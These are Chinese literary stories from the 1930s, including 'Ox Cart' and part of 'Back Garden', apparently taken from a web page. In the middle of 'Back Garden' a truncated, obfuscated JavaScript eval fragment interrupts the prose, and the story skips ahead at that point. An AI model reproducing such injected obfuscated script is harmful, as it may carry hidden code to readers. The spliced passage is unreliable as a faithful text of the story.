“再来,把书回家好好读读再来。喝……喝。”不知道她向谁在说着。 当她又提起了手提箱,她问她的父亲:“叫来的马车就在门外吗?” “马车,什么马车,走着上站吧……我背着行李……” 王亚明的毡靴在楼梯上扑扑地拍着。父亲走在前面,变了颜色的手抓着行李的两角。 那被朝阳拖得苗长的影子,跳动着在人的前面先爬上了木栅门。从窗子看去,人也好象和影子一般轻浮,只能看到他们,而听不到关于他们的一点声音。 出了木栅门,他们就向着远方,向着迷漫着朝阳的方向走去。 雪地好象碎玻璃似的,越远那闪光就越刚强。我一直看到那远处的雪地刺痛了我的眼睛。 一九三六年三月 (原载1936年4月15日《作家》第1卷第1号) 牛车上 金花菜在三月的末梢就开遍了溪边。我们的车子在朝阳里轧着山下的红绿颜色的小草,走出了外祖父的村梢。 车夫是远族上的舅父,他打着鞭子,但那不是打在牛的背上,只是鞭梢在空中绕来绕去。 “想睡了吗?车刚走出村子呢!喝点梅子汤吧!等过了前面的那道溪水再睡。”外祖父家的女佣人,是到城里去看她的儿子的。 “什么溪水,刚才不是过的吗?”从外祖父家带回来的黄猫也好象要在我的膝头上睡觉了。 “后塘溪。”她说。 “什么后塘溪?”我并没有注意她。因为外祖父家留在我们的后面,什么也看不见了,只有村梢上庙堂前的红旗杆还露着两个金顶。 “喝一碗梅子汤吧,提一提精神。”她已经端了一杯深黄色的梅子汤在手里,一边又去盖着瓶口。 “我不提,提什么精神,你自己提吧!” 他们都笑了起来,车夫立刻把鞭子抽响了一下。 “你这姑娘……顽皮,巧舌头……我……我……”他从车辕转过身来,伸手要抓我的头发。 我缩着肩头跑到车尾上去。村里的孩子没有不怕他的,说他当过兵,说他捏人的耳朵也很痛。 五云嫂下车去给我采了这样的花,又采了那样的花,旷野上的风吹得更强些,所以她的头巾好象是在飘着。因为乡村留给我尚没有忘却的记忆,我时时把她的头巾看成乌鸦或是鹊雀。她几乎是跳着,几乎和孩子一样。回到车上,她就唱着各种花朵的名字,我从来没看到过她这象样放肆一般地欢喜。 车夫也在前面哼着低粗的声音,但那分不清是什么词句。那短小的烟管顺着风时时送着烟氛,我们的路途刚一开始,希望和期待都还离得很远。 我终于睡了,不知是过了后塘溪,是什么地方,我醒过一次,模模糊糊的好象那管鸭的孩子仍和我打着招呼,也看到了坐在牛背上的小根和我告别的情景……也好象外祖父拉住我的手又在说:“回家告诉你爷爷,秋凉的时候让他来乡下走走……你就说你老爷腌的鹌鹑和顶好的高粱酒等着他来一块喝呢……你就说我动不了,若不然,这两年,我总也去……” 唤醒我的不是什么人,而是那空空响的车轮。我醒来,第一下看到的是那黄牛自己走在大道上,车夫并不坐在车辕。在我寻找的时候,他被我发现在车尾上,手上的鞭子被他的烟管代替着,左手不住的在擦着下颏,他的眼睛顺着地平线望着辽阔的远方。 我寻找黄猫的对候,黄猫坐到五云嫂的膝头上去了,并且她还抚摸猫的尾巴。我看看她的蓝布头巾已经盖过了眉头,鼻子上显明的皱纹因为挂了尘土,更显明起来。 他们并没有注意到我的醒转。 “到第三年他就不来信啦!你们这当兵的人……” 我就问她:“你丈夫也是当兵的吗?” 赶车的舅舅,抓了我的辫发,把我向后拉了一下。 “那么以后……就总也没有信来?”他问他。 “你听我说呀!八月节刚过……可记不得哪一年啦,吃完了早饭,我就在门前喂猪,一边啌啌地敲着槽子,一边嗃唠嗃唠地叫着猪……哪里听得着呢?南村王家的二姑娘喊着:”五云嫂,五云嫂……‘一边跑着一边喊:“我娘说,许是五云哥给你捎来的信!’真是,在我眼前的真是一封信,等我把信拿到手哇!看看……我不知为什么就止不住心酸起来……他还活着吗!他……眼泪就掉在那红签条上,我就用手去擦,一擦这红圈子就印到白的上面去。把猪食就丢在院心……进屋换了件干净衣裳。我就赶紧跑,跑到南村的学房见了学房的先生,我一面笑着就一面流着眼泪……我说:“是外头人来的信,请先生看看……一年来的没来过一个字。‘学房先生接到手里一看,就说不是我的。那信我就丢在学房里跑回来啦……猪也没有喂,鸡也没有上架,我就躺在炕上啦……好几天,我象失了魂似的。” “从此就没有来信?” “没有。”她打开了梅子汤的瓶口,喝了一碗,又喝一碗。 “你们这当兵的人,只说三年二载……可是回来……回来个什么呢!回来个魂灵给人看看吧……” “什么?”车夫说,“莫不是阵亡在外吗……” “是,就算吧!音信皆无过了一年多。” “是阵亡?”车夫从车上跳下去,拿了鞭子,在空中抽了两下,似乎是什么爆裂的声音。 “还问什么……这当兵的人真是凶多吉少。”她褶皱的嘴唇好象撕裂了的绸片似的,显着轻浮和单薄。 车子一过黄村,太阳就开始斜了下去,青青的麦田上飞着鹊雀。 “五云哥阵亡的时候,你哭吗?”我一面捉弄着黄猫的尾巴,一面看着她。但她没有睬我,自己在整理着头巾。 等车夫颠跳着来在了车尾,扶了车栏,他一跳就坐在了车辕,在他没有抽烟之前,他的厚嘴唇好象关紧了的瓶口似的严密。 五云嫂的说话,好象落着小雨似的,我又顺着车栏睡下了。 等我再醒来,车子停在一个小村头的井口边,牛在饮着水,五云嫂也许是哭过,她陷下的眼睛高起了,并且眼角的皱纹也张开来。车夫从井口绞了一桶水提到车子旁边:“不喝点吗?清凉清凉……” “不喝。”她说。 “喝点吧,不喝就是用凉水洗洗脸也是好的。”他从腰带上取下手巾来,浸了浸水,“揩一揩!尘土迷了眼睛……” 当兵的人,怎么也会替人拿手巾?我感到了惊奇。我知道的当兵的人就会打仗,就会打女人,就会捏孩子们的耳朵。 “那年冬天,我去赶年市……我到城里去卖猪鬃,我在年市上喊着:”好硬的猪鬃来……好长的猪鬃来……‘后一年,我好象把他爹忘下啦……心上也不牵挂……想想那没有个好,这些年,人还会活着!到秋天,我也到田上去割高粱,看我这手,也吃过气力……春天就带着孩子去做长工,两个月三个月的就把家拆了。冬天又把家归拢起来。什么牛毛啦……猪毛啦……还有些收拾来的鸟雀的毛。冬天就在家里收拾,收拾干净了呀……就选一个暖和的天气进城去卖。若有顺便进城去的车呢,把秃子也就带着……那一次没有带秃子。偏偏天气又不好,天天下清雪,年市上不怎么热闹;没有几捆猪鬃也总卖不完。一早就蹲在市上,一直蹲到太阳偏西。在十字街口,一家大买卖的墙头上贴着一张大纸,人们来来往往的在那里看,象是从一早那张纸就贴出来了!也许是晌午贴的……有的还一边看,一边念出来几句。我不懂得那一套……人们说是’告示,告示‘,可是告的什么,我也不懂那一套…… ‘告示’倒知道是官家的事情,与我们做小民的有什么长短!可不知为什么看的人就那么多……听说么,是捉逃兵的‘告示’……又听说么……又听说么……几天就要送到县城来枪毙……“ “哪一年?民国十年枪毙逃兵二十多个的那回事吗?”车夫把卷起的衣袖在下意识里把它放下来,又用手扫着下颏。 “我不知道那叫什么年……反正枪毙不枪毙与我何干,反正我的猪鬃卖不完就不走运气……”她把手掌互相擦了一会,猛然,象是拍着蚊虫似的,凭空打了一下:“有人念着逃兵的名字……我看着那穿黑马褂的人……我就说:”你再念一遍!‘起先猪毛还拿在我的手上……我听到了姜五云姜五云的,好象那名子响了好几遍……我过了一些时候才想要呕吐……喉管里象有什么腥气的东西喷上来,我想咽下去……又咽不下去……眼睛冒着火苗……那些看’告示‘的人往上挤着,我就退在了旁边,我再上前去看看,腿就不做主啦!看’告示‘的人越多,我就退下来了!越退越远啦……“ 她的前额和鼻头都流下汗来。 “跟了车,回到乡里,就快半夜了。一下车的时候,我才想起了猪毛…… 哪里还记得起猪毛……耳朵和两张木片似的啦……包头巾也许是掉在路上,也许是掉在城里……“ 她把头巾掀起来,两个耳朵的下梢完全丢失了。 “看看,这是当兵的老婆……” 这回她把头巾束得更紧了一些,所以随着她的讲话那头巾的角部也起着小小的跳动。 “五云倒还活着,我就想看看他,也算夫妇一回…… “……二月里,我就背着秃子,今天进城,明天进城……‘告示’听说又贴了几回,我不去看那玩艺儿,我到衙门去问,他们说:”这里不管这事。‘让我到兵营里去……我从小就怕见官……乡下孩子,没有见过。那些带刀挂枪的,我一看到就发颤……去吧!反正他们也不是见人就杀……后来常常去问,也就不怕了。反正一家三口,已经有一口拿在他们的手心里……他们告诉我,逃兵还没有送过来。我说什么时候才送过来呢?他们说:“再过一个月吧!’……等我一回到乡下就听说逃兵已从什么县城,那是什么县城?到今天我也记不住那是什么县城……就是听说送过来啦就是啦……都说若不快点去看,人可就没有了。我再背着秃子,再进城……去问问,兵营的人说:‘好心急,你还要问个百八十回。不知道,也许就不送过来的。’……有一天,我看着一个大官,坐着马车,钉东钉东地响着铃子,从营房走出来了…… 我把秃子放在地上,我就跑过去,正好马车是向着这边来的,我就跪下了,也不怕马蹄就踏在我的头上。 “‘大老爷,我的丈夫……姜五……’我还没有说出来,就觉得肩膀上很沉重……那赶马车的把我往后面推倒了,好象跌了跤似的我爬在道边去。 只看到那赶马车的也戴着兵帽子。 “我站起来,把秃子又背在背上……营房的前边,就是一条河,一个下半天都在河边上看着河水。有些钓鱼的,也有些洗衣裳的。远一点,在那河湾上,那水就深了,看着那浪头一排排的从眼前过去。不知道几百条浪头都坐着看过去了。我想把秃子放在河边上,我一跳就下去吧!留他一条小命,他一哭就会有人把他收了去。 “我拍着那小胸脯,我好象说:”秃儿,睡吧。‘我还摸摸那圆圆的耳朵,那孩子的耳朵,真是,长得肥满,和他爹的一模一样,一看到那孩子的耳朵,就看到他爹了。“ 她为了赞美而笑了笑。 “我又拍着那小胸脯,我又说:”睡吧!秃儿。‘我想起了,我还有几吊钱,也放在孩子的胸脯上吧!正在伸,伸手去放……放的时节……孩子睁开眼睛了……又加上一只风船转过河湾来,船上的孩子喊妈的声音我一听到,我就从沙滩上面……把秃子抱……抱在……怀里了……“ 她用包头巾象是按了按她的喉咙,随着她的手,眼泪就流了下来。 “还是……还是背着他回家吧!哪怕讨饭,也是有个亲娘……亲娘的好……” 那蓝色头巾的角部,也随着她的下颏颤抖了起来。 我们车子的前面正过着羊群,放羊的孩子口里响着用柳条做成的叫子,野地在斜过去的太阳里边分不出什么是花,什么是草了!只是混混黄黄的一片。 车夫跟着车子走在旁边,把鞭梢在地上荡起着一条条的烟尘。 “……一直到五月,营房的人才说:”就要来的,就要来的。‘“……五月的末梢,一只大轮船就停在了营房门前的河沿上。不知怎么这样多的人!比七月十五看河灯的人还多……” 她的两只袖子在招摇着。 “逃兵的家属,站在右边……我也站过去,走过一个戴兵帽子的人,还每人给挂了一张牌子……谁知道,我也不认识那字……” “要搭跳板的时候,就来了一群兵队,把我们这些挂牌子的……就圈了起来……‘离开河沿远点,远点……’他们用枪把手把我们赶到离开那轮船有三四丈远……站在我旁边的,一个白胡子的老头,他一只手提着一个包裹,我问他:”老伯,为啥还带来这东西?‘……’哼!不!我有一个儿子和一个侄子……一人一包……回阴曹地府,不穿洁净衣裳是不上高的。……‘“跳板搭起来了……一看跳板搭起来就有哭的……我是不哭,我把脚跟立得稳稳当当的,眼睛往船上看着……可是,总不见出来……过了一会,一个兵官,挎着洋刀,手扶着栏杆说:”让家属们再往后退退……就要下船……’听着嗃唠一声,那些兵队又用枪把手把我们向后赶了过去,一直赶上了道旁的豆田,我们就站在豆秧上,跳板又呼隆隆地搭起了一块……走下来了,一个兵官领头……那脚镣子,哗啦哗啦的……我还记得,第一个还是个小矮个……走下来五六个啦……没有一个象秃子他爹宽宽肩膀的,是真的,很难看……两条胳臂直伸伸的……我看了半天工夫才看出手上都是戴了铐子的。 旁边的人越哭,我就格外更安静。我只把眼睛看着那跳板……我要问问他爹‘为啥当兵不好好当,要当逃兵……你看看,你的儿子,对得起吗?’“二十来个,我不知道哪个是他爹,远看都是那么个样儿。一个年青的媳妇……还穿了件绿衣裳,发疯了似的,穿开了兵队抢过去了……当兵的哪肯叫她过去……就把她抓回来,她就在地上打滚,她喊:”当了兵还不到三个月呀……还不到……‘两个兵队的人,就把她抬回来,那头发都披散开啦。 又过了一袋烟的工夫,才把我们这些挂牌子的人带过去……越走越近了,越近也就越看不清楚哪个是秃子他爹……眼睛起了白蒙……又加上别人都呜呜啕啕的,哭得我多少也有点心慌…… “还有的嘴上抽着烟卷,还有的骂着……就是笑的也有。当兵的这种人……不怪说,当兵的不惜命…… “我看看,真是没有秃子他爹,哼!这可怪事……我一回身就把一个兵官的皮带抓住:”姜五云呢?‘’他是你的什么人?‘’是我的丈夫。‘我把秃子可就放在地上啦……放在地上那不做美的就哭起来,我拍的一声,给秃子一个嘴巴……接着我就打了那兵官:“你们把人消灭到什么地方去啦?’”‘好的……好家伙……够朋友……’那些逃兵们就连起声来跺着脚喊。 兵官看看这情形赶快叫当兵的把我拖开啦……他们说:“不只姜五云一个人,还有两个没有送过来,明后天,下一班船就送来……逃兵里他们三个是头目。‘”我背着孩子就离开了河沿,我就挂着牌子走下去了,我一路走,一路两条腿发颤。奔来看热闹的人满街满道啦……我走过了营房的背后,兵营的墙根下坐着那提着两个包裹的老头,他的包裹只剩了一个。我说:“老伯,你的儿子也没来吗?’我一问他,他就把背脊弓了起来,用手把胡子放在嘴唇上,咬着胡子就哭啦! “他还说:”因为是头目,就当地正法了咧!‘当时我还不知道这’正法‘是什么……“ 她再说下去,那是完全不相接连的话头。 “又过三年,秃子八岁的那年,把他送进了豆腐房……就是这样:一年我来看他两回。二年回家一趟……回来也就是十天半月的……” 车夫离开车子,在小毛道上走着,两只手放在背后,太阳从横面把他拖成一条长影,他每走一步,那影子就分成了一个叉形。 “我也有家小……”他的话从嘴唇上流了下来似的,好象他对着旷野说的一般。 “哟!”五云嫂把头巾放松了些。 “什么!”她鼻子上的褶皱纠动了一些时候,“可是真的……兵不当啦也不回家……” “哼!回家!就背着两条腿回家?”车夫把肥厚的手揩扭着自己的鼻子笑了。 “这几年,还没多少赚几个?” “都是想赚几个呀!才当逃兵去啦!”他把腰带更束紧了一些。 我加了一件棉衣,五云嫂披了一张毯子。 “嗯!还有三里路……这若是套的马……嗯!一颠搭就到啦!牛就不行,这牲口性子没紧没慢,上阵打仗,牛就不行……”车夫从草包取出棉袄来,那棉袄顺着风飞着草末,他就穿上了。 黄昏的风,却是和二月里的一样。车夫在车尾上打开了外祖父给祖父带来的酒坛。 “喝吧!半路开酒坛,穷人好赌钱……喝上两杯……”他喝了几杯之后,把胸膛就完全露在外面。他一面啮嚼着肉干,一边嘴上起着泡沫。风从他的嘴边走过时,他唇上的泡沫也洪大了一些。 我们将奔到的那座城,在一种灰色的气氛里,只能够辨别那不是旷野,也不是山岗,又不是海边,又不是树林,…… 车子越往前进,城座看来越退越远。脸孔和手上,都有一种粘粘的感觉……再往前看,连道路也看不到尽头…… 车夫收拾了酒坛,拾起了鞭子……这时候,牛角也模糊了去。 “你从出来就没回过家?家也不来信?”五云嫂的问话,车夫一定没有听到,他打着口哨,招呼着牛。后来他跳下车去,跟着牛在前面走着。 对面走过一辆空车,车辕上挂着红色的灯笼。 “大雾!” “好大的雾!”车夫彼此招呼着。 “三月里大雾……不是兵灾,就是荒年……” 两个车子又过去了。 一九三六年 (原载1936年10月1日《文季》第1卷第5期) 后花园 后花园五月里就开花的,六月里就结果子,黄瓜、茄子、玉蜀黍、大芸豆、冬瓜、西瓜、西红柿,还有爬着蔓子的倭瓜。这倭瓜秧往往会爬到墙头上去,而后从墙头它出去了,出到院子外边去了。 就向着大街,这倭瓜蔓上开了一朵大黄花。 正临着这热闹闹的后花园,有一座冷清清的黑洞洞的磨房,磨房的后窗子就向着花园。刚巧沿着窗外的一排种的是黄瓜。这黄瓜虽然不是倭瓜,但同样会爬蔓子的,于是就在磨房的窗棂上开了花,而且巧妙的结了果子。 在朝露里,那样嫩弱的须蔓的梢头,好象淡绿色的玻璃抽成的,不敢去触,一触非断不可的样子。同时一边结着果子,一边攀着窗棂往高处伸张,好象它们彼此学着样,一个跟一个都爬上窗子来了。到六月,窗子就被封满了,而且就在窗棂上挂着滴滴嘟嘟的大黄瓜、小黄瓜;瘦黄瓜、胖黄瓜,还有最小的小黄瓜纽儿,头顶上还正在顶着一朵黄花还没有落呢。 于是随着磨房里打着铜筛罗的震抖,而这些黄瓜也就在窗子上摇摆起来了。铜罗在磨夫的脚下,东踏一下它就“咚”,西踏一下它就“咚”;这些黄瓜也就在窗子上滴滴嘟嘟的跟着东边“咚”,西边“咚”。 六月里,后花园更热闹起来了,蝴蝶飞,蜻蜒飞,螳螂跳,蚂蚱跳。大红的外国柿子都红了,茄子青的青、紫的紫,溜明湛亮,又肥又胖,每一棵茄秧上结着三四个、四五个。玉蜀黍的缨子刚刚才茁芽,就各色不同,好比女人绣花的丝线夹子打开了,红的绿的,深的浅的,干净得过分了,简直不知道它为什么那样干净,不知怎样它才那样干净的,不知怎样才做到那样的,或者说它是刚刚用水洗过,或者说它是用膏油涂过。但是又都不象,那简直是干净得连手都没有上过。 然而这样漂亮的缨子并不发出什么香气,所以蜂子、蝴蝶永久不在它上边搔一搔,或是吮一吮。 却是那些蝴蝶乱纷纷的在那些正开着的花上闹着。 后花园沿着主人住房的一方面,种着一大片花草。因为这园主并非怎样精细的人,而是一位厚敦敦的老头。所以他的花园多半变成菜园了。其余种花的部分,也没有什么好花,比如马蛇菜、爬山虎、胭粉豆、小龙豆……这都是些草本植物,没有什么高贵的。 到冬天就都埋在大雪里边,它们就都死去了。春天打扫干净了这个地盘,再重种起来。有的甚或不用下种,它就自己出来了,好比大菽茨,那就是每年也不用种,它就自己出来的。它自己的种子,今年落在地上没有人去拾它,明年它就出来了;明年落了子,又没有人去采它,它就又自己出来了。 这样年年代代,这花园无处不长着大花。墙根上,花架边,人行道的两旁,有的竟长在倭瓜或者黄瓜一块去了。那讨厌的倭瓜的丝蔓竟缠绕在它的身上,缠得多了,把它拉倒了。 可是它就倒在地上仍旧开着花。 铲地的人一遇到它,总是把它拔了,可是越拔它越生得快,那第一班开过的花子落下,落在地上,不久它就生出新的来。所以铲也铲不尽,拔也拔不尽,简直成了一种讨厌的东西了。还有那些被倭瓜缠住了的,若想拔它,把倭瓜也拔掉了,所以只得让它横躺竖卧的在地上,也不能不开花。 长得非常之高,五六尺高,和玉蜀黍差不多一般高,比人还高了一点,红辣辣地开满了一片。 人们并不把它当做花看待,要折就折,要断就断,要连根拔也都随便。 到这园子里来玩的孩子随便折了一堆去,女人折了插满了一头。 这花园从园主一直到来游园的人,没有一个人是爱护这花的。这些花从来不浇水,任着风吹,任着太阳晒,可是却越开越红,越开越旺盛,把园子煊耀得闪眼,把六月夸奖得和水滚着那么热。 胭粉豆、金荷叶、马蛇菜都开得象火一般。 其中尤其是马蛇菜,红得鲜明晃眼,红得它自己随时要破裂流下红色汁液来。 从磨房看这园子,这园子更不知鲜明了多少倍,简直是金属的了,简直象在火里边烧着那么热烈。 可是磨房里的磨倌是寂寞的。 他终天没有朋友来访他,他也不去访别人,他记忆中的那些生活也模糊下去了,新的一样也没有。他三十多岁了,尚未结过婚,可是他的头发白了许多,牙齿脱落了好几个,看起来象是个青年的老头。阴天下雨,他不晓得;春夏秋冬,在他都是一样。和他同院的住些什么人,他不去留心;他的邻居和他住得很久了,他没有记得;住的是什么人,他没有记得。 他什么都忘了,他什么都记不得,因为他觉得没有一件事情是新鲜的。 人间在他是全然呆板的了。他只知道他自己是个磨倌,磨倌就是拉磨,拉磨之外的事情都与他毫无关系。 所以邻家的女儿,他好象没有见过;见过是见过的,因为他没有印象,就象没见过差不多。 磨房里,一匹小驴子围着一盘青白的圆石转着。磨道下面,被驴子经年地踢踏,已经陷下去一圈小洼槽。小驴的眼睛是戴了眼罩的,所以它什么也看不见,只是绕着圈瞎走。嘴上也给戴上了笼头,怕它偷吃磨盘上的麦子。 小驴知道,一上了磨道就该开始转了,所以走起来一声不响,两个耳朵尖尖的竖得笔直。 磨倌坐在罗架上,身子有点向前探着。他的面前竖了一个木架,架上横着一个用木做成的乐器,那乐器的名字叫:“梆子。” 每一个磨倌都用一个,也就是每一个磨房都有一个。旧的磨倌走了,新的磨倌来了,仍然打着原来的梆子。梆子渐渐变成个元宝的形状,两端高而中间陷下,所发出来的音响也就不好听了,不响亮,不脆快,而且“踏踏”的沉闷的调子。 冯二成的梆子正是已经旧了的。他自己说:“这梆子有什么用?打在这梆子上就象打在老牛身上一样。” 他尽管如此说,梆子他仍旧是打的。 磨眼上的麦子没有了,他去添一添。从磨漏下来的麦粉满了一磨盘,他过去扫了扫。小驴的眼罩松了,他替它紧一紧。若是麦粉磨得太多了,应该上风车子了,他就把风车添满,摇着风车的大手轮,吹了起来,把麦皮都从风车的后部吹了出去。那风车是很大的,好象大象那么大。尤其是当那手轮摇起来的时候,呼呼的作响,麦皮混着冷风从洞口喷出来。这风车摇起来是很好看的,同时很好听。可是风车并不常吹,一天或两天才吹一次。 除了这一点点工作,冯二成子多半是站在罗架上,身子向前探着,他的左脚踏一下,右脚踏一下,罗底盖着罗床,那力量是很大的,连地皮都抖动了,和盖新房子时打地基的工夫差不多,啌啌的,又沉重,又闷气,使人听了要睡觉的样子。 所有磨房里的设备都说过了,只不过还有一件东西没有说,那就是冯二成子的小炕了。那小炕没有什么好记载的。总之这磨房是简单、寂静、呆板。 看那小驴竖着两个尖尖的耳朵,好象也不吃草也不喝水,只晓得拉磨的样子。 冯二成子一看就看到小驴那两个直竖竖的耳朵,再看就看到墙下跑出的耗子,那滴溜溜亮的眼睛好象两盏小油灯似的。再看也看不见别的,仍旧是小驴的耳朵。 所以他不能不打梆子,从午间打起,一打打个通宵。 花儿和鸟儿睡着了,太阳回去了。大地变得清凉了好些。从后花园透进来的热气,凉爽爽的,风也不吹了,树也不摇了。 窗外虫子的鸣叫,远处狗的夜吠,和冯二成子的梆子混在一起,好象三种乐器似的。 磨房的小油灯忽咧咧的燃着(那小灯是刻在墙壁中间的,好象古墓里边站的长明灯似的),和有风吹着它似的。这磨房只有一扇窗子,还被挂满了黄瓜,把窗子遮得风雨不透。可是从哪里来的风?小驴也在响着鼻子抖擞着毛,好象小驴也着了寒了。 每天是如此:东方快启明的时候,朝露就先下来了,伴随着朝露而来的,是一种阴森森的冷气,这冷气冒着白烟似的沉重重地压到地面上来了。 落到屋瓦上,屋瓦从浅灰变到深灰色,落到茅屋上,那本来是浅黄的草,就变成深黄的了。因为露珠把它们打湿了,它们吸收了露珠的缘故。 惟有落到花上、草上、叶子上,那露珠是原形不变,并且由小聚大。大叶子上聚着大露珠,小叶子聚着小露珠。 玉蜀黍的缨穗挂上了霜似的,毛绒绒的。 倭瓜花的中心抱着一颗大水晶球。 剑形草是又细又长的一种野草,这野草顶不住太大的露珠,所以它的周身都是一点点的小粒。 等到太阳一出来时,那亮晶晶的后花园无异于昨天洒了银水了。 冯二成子看一看墙上的灯碗,在灯芯上结了一个红橙橙的大灯花。他又伸手去摸一摸那生长在窗棂上的黄瓜,黄瓜跟水洗的一样。 他知道天快亮了,露水已经下来了。 这时候,正是人们睡得正熟的时候,而冯二成子就象更焕发了起来。他的梆子就更响了,他拚命地打,他用了全身的力量,使那梆子响得爆豆似的。 不但如此,那磨房唱了起来了,他大声急呼的。好象他是照着民间所流传的,他是招了鬼了。他有意要把远近的人家都惊动起来,他竟乱打起来,他不把梆子打断了,他不甘心停止似的。 有一天下雨了。 雨下得很大,青蛙跳进磨房来好几个,有些蛾子就不断地往小油灯上扑,扑了几下之后,被烧坏了翅膀就掉在油碗里溺死了,而且不久蛾子就把油灯碗给掉满了,所以油灯渐渐地不亮下去,几乎连小驴的耳朵都看不清楚。 冯二成子想要添些灯油,但是灯油在上房里,在主人的屋里。 他推开门一看,雨真是大得不得了,瓢泼的一样,而且上房里也怕是睡下了,灯光不很大,只是影影绰绰的。也许是因为下雨上了风窗的关系,才那样黑混混的。 ——十步八步跑过去,拿了灯油就跑回来。——冯二成子想。 但雨也是太大了,衣裳非都湿了不可;湿了衣裳不要紧,湿了鞋子可得什么时候干。 他推开房门看了好几次,也都是把房门关上了,没有跑过去。 可是墙上的灯又一会一会地要灭了,小驴的耳朵简直看不见了。他又打开门向上房看看,上房灭了灯了,院子里什么也看不见,只有隔壁赵老太太那屋还亮通通的,窗里还有格格的笑声。 那笑的是赵老太太的女儿。冯二成子不知为什么心里好不平静,他赶快关了门,赶快去拨灯碗,赶快走到磨架上,开始很慌张地打动着筛罗。可是无论如何那窗里的笑声好象还在那儿笑。 冯二成子打起梆子来,打了不几下,很自然地就会停住,又好象很愿意再听到那笑声似的。 ——这可奇怪了,怎么象第一天那边住着人。——他自己想。 第二天早晨,雨过天晴了。 冯二成子在院子里晒他的那双湿得透透的鞋子时,偶一抬头看见了赵老太太的女儿,跟他站了个对面。 冯二成子从来没和女人接近过,他赶快低下头去。 那邻家女儿是从井边来,提了满满的一桶水,走得非常慢。等她完全走过去了,冯二成子才抬起头来。 她那向日葵花似的大眼睛,似笑非笑的样子,冯二成子一想起来就无缘无故地心跳。 有一天,冯二成子用一个大盆在院子里洗他自己的衣裳,洗着洗着,一不小心,大盆从木凳滑落而打碎了。 赵老太太也在窗下缝着针线,连忙就喊她的女儿,把自家的大盆搬出来,借给他用。 冯二成子接过那大盆时,他连看都没看赵姑娘一眼,连抬头都没敢抬头,但是赵姑娘的眼睛象向日葵花那么大,在想象之中他比看见来得清晰。于是他的手好象抖着似的把大盆接过来了。他又重新打了点水,没有打很多的水,只打了一大盆底。 恍恍忽忽地衣裳也没有洗干净,他就晒起来了。 从那之后,他也并不常见赵姑娘,但他觉得好象天天见面的一样。尤其是到了深夜,他常常听到隔壁的笑声。 有一天,他打了一夜梆子。天亮了,他的全身都酸了。他把小驴子解下来,拉到下过朝露的潮湿的院子里,看着那小驴打了几个滚,而后把小驴拴到槽子上去吃草。他也该是睡觉的时候了。 他刚躺下,就听到隔壁女孩的笑声,他赶快抓住被边把耳朵掩盖起来。 但那笑声仍旧在笑。 他翻了一个身,把背脊向着墙壁,可是仍旧不能睡。 他和那女孩相邻的住了两年多了,好象他听到她的笑还是最近的事情。 他自己也奇怪起来。 那边虽是笑声停止了,但是又有别的声音了:刷锅,劈柴发火的声音,件件样样都听得清清晰晰。而后,吃早饭的声音他都感觉到了。 这一天,他实在睡不着,他躺在那里心中十分悲哀,他把这两年来的生活都回想了一遍…… 刚来的那年,母亲来看过他一次。从乡下给他带来一筐子黄米豆包。母亲临走的时候还流了眼泪说:“孩儿,你在外边好好给东家做事,东家错待不了你的……你老娘这两年身子不大硬实。一旦有个一口气不来,只让你哥哥把老娘埋起来就算了事。人死如灯灭,你就是跑到家又能怎样!……可千万要听娘的话,人家拉磨,一天拉好多麦子,是一定的,耽误不得,可要记住老娘的话。……” 那时,冯二成子已经三十六岁了,他仍很小似的,听了那话就哭了。他抬起头看看母亲,母亲确是瘦得厉害,而且也咳嗽得厉害。 “不要这样傻气,你老娘说是这样说,哪就真会离开了你们的。你和你哥哥都是三十多岁了,还没成家,你老娘还要看到你们……” 冯二成子想到“成家”两个字,脸红了一阵。 母亲回到乡下去,不久就死了。 他没有照着母亲的话做,他回去了,他和哥哥亲自送的葬。 是八月里辣椒红了的时候,送葬回来,沿路还摘了许多红辣椒,炒着吃了。 以后再想一想,就想不起什么来了。拉磨的小驴子仍旧是原来的小驴子。 磨房也一点没有改变,风车也是和他刚来时一样,黑洞洞地站在那里,连个方向也没改换。筛罗子一踏起来它就“咚咚”响。他向筛罗子看了一眼,宛如他不去踏它,它也在响的样子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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冯二成子喝足了酒,退出来了,连饭也没有吃,他打算到磨房去睡一觉。 常年也不喝酒,喝了酒头有些昏。他从上房走出来,走到院子里碰到了赵老太太,她手里拿着一包月饼,正要到亲戚家去。她一见了冯二成子,她连忙喊着女儿说:“你快拿月饼给老冯吃。过节了,在外边的跑腿人,不要客气。” 说完了,赵老太太就走了。 冯二成子接过月饼在手里,他看那姑娘满身都穿了新衣裳,脸上涂着胭脂和香粉。因为他怕难为情,他想说一声谢谢也没说出来,回身就进了磨房。 磨房比平日更冷清了,小驴也没有拉磨,磨盘上供着一块黄色的牌位,上面写着“白虎神之位”,燃了两根红蜡烛,烧着三炷香。 冯二成子迷迷昏昏地吃完了月饼,靠着罗架站着,眼睛望着窗外的花园。 他一无所思的往外看着,正这时又有了女人的笑声,并且这笑声是熟悉的,但不知这笑声是从哪方面来的,后花园还是隔壁? 他一回身,就看见了邻家的女儿站在大开着的门口。 她的嘴是红的,她的眼睛是黑的,她的周身发着光辉,带着吸力。 他怕了,低了头不敢再看。 那姑娘自言自语地说:“这儿还供着白虎神呢!” 说着,她的一个小同伴招呼着她就跑了。 冯二成子几乎要昏倒了,他坚持着自己,他睁大了眼睛,看一看自己的周遭,看一看是否在做梦。 这哪里是在做梦,小驴站在院子里吃草,上房还没有喝完酒的划拳的吵闹声仍还没有完结。他站到磨房外边,向着远处都看了一遍。远处的人家,有的在树林中,有的在白云中露着屋角,而附近的人家,就是同院子住着的也都恬静的在节日里边升腾着一种看不见的欢喜,流荡着一种听不见的笑声。 但冯二成子看着什么都是空虚的。寂寞的秋空的游丝,飞了他满脸,挂住了他的鼻子,绕住了他的头发。他用手把游丝揉擦断了,他还是往前看去。 他的眼睛充满了亮晶晶的眼泪,他的心中起了一阵莫名其妙的悲哀。 他羡慕在他左右跳着的活泼的麻雀,他妒恨房脊上咕咕叫的悠闲的鸽子。 他的感情软弱得象要瘫了的蜡烛似的。他心里想:鸽子你为什么叫?叫得人心慌!你不能不叫吗?游丝你为什么绕了我满脸?你多可恨! 恍恍忽忽他又听到那女孩子的笑声。 而且和闪电一般,那女孩子来到他的面前了,从他面前跑过去了,一转眼跑得无影无踪的。 冯二成子仿佛被卷在旋风里似的,迷迷离离的被卷了半天,而后旋风把他丢弃了。旋风自己跑去了,他仍旧是站在磨房外边。 